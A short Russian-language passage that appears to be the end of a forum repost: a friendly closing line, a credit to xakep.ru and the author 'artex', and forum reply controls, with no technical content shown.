Надеюсь, было интересно и ты узнал для себя много нового!


Источник: xakep.ru
Автор: artex
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх